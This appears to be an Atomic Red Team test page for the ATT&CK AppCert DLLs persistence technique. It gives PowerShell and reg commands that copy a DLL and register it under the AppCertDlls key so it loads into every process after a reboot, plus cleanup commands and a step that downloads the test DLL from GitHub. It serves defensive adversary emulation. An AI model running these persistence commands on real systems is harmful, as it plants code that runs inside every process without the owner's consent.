Try it using Invoke-Atomic

Event Triggered Execution: AppCert DLLs

Description from ATT&CK

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**_ are loaded into every process that calls the ubiquitously used application programming interface (API) functions _CreateProcess_, _CreateProcessAsUser_, _CreateProcessWithLoginW_, _CreateProcessWithTokenW_, or _WinExec**. (Citation: Elastic Process Injection July 2017)

Similar to Process Injection, this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.

Atomic Tests

Atomic Test #1 - Create registry persistence via AppCert DLL

Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. Once the computer restarted, the DLL will be loaded in multiple processes and write an 'AtomicTest.txt' file in C:\Users\Public\ to validate that the DLL executed succesfully.

Reference: https://skanthak.homepage.t-online.de/appcert.html

Supported Platforms: windows

auto_generated_guid: a5ad6104-5bab-4c43-b295-b4c44c7c6b05

Inputs:

Name Description Type Default Value
dll_path path of dll to use Path PathToAtomicsFolder\T1546.009\bin\AtomicTest.dll
reboot Set value to $true if you want to automatically reboot the machine string $false

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

1
2
3
4
Copy-Item #{dll_path} C:\Users\Public\AtomicTest.dll -Force
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /t REG_EXPAND_SZ /d "C:\Users\Public\AtomicTest.dll" /f
if(#{reboot}){Restart-Computer} 

Cleanup Commands:

1
2
3
4
reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /f
Remove-Item C:\Users\Public\AtomicTest.dll -Force
Remove-Item C:\Users\Public\AtomicTest.txt -Force

Dependencies: Run with powershell!

Description: File to copy must exist on disk at specified location (#{dll_path})

Check Prereq Commands:

1
2
if (Test-Path #{dll_path}) {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
New-Item -Type Directory (split-path #{dll_path}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll" -OutFile "#{dll_path}"

source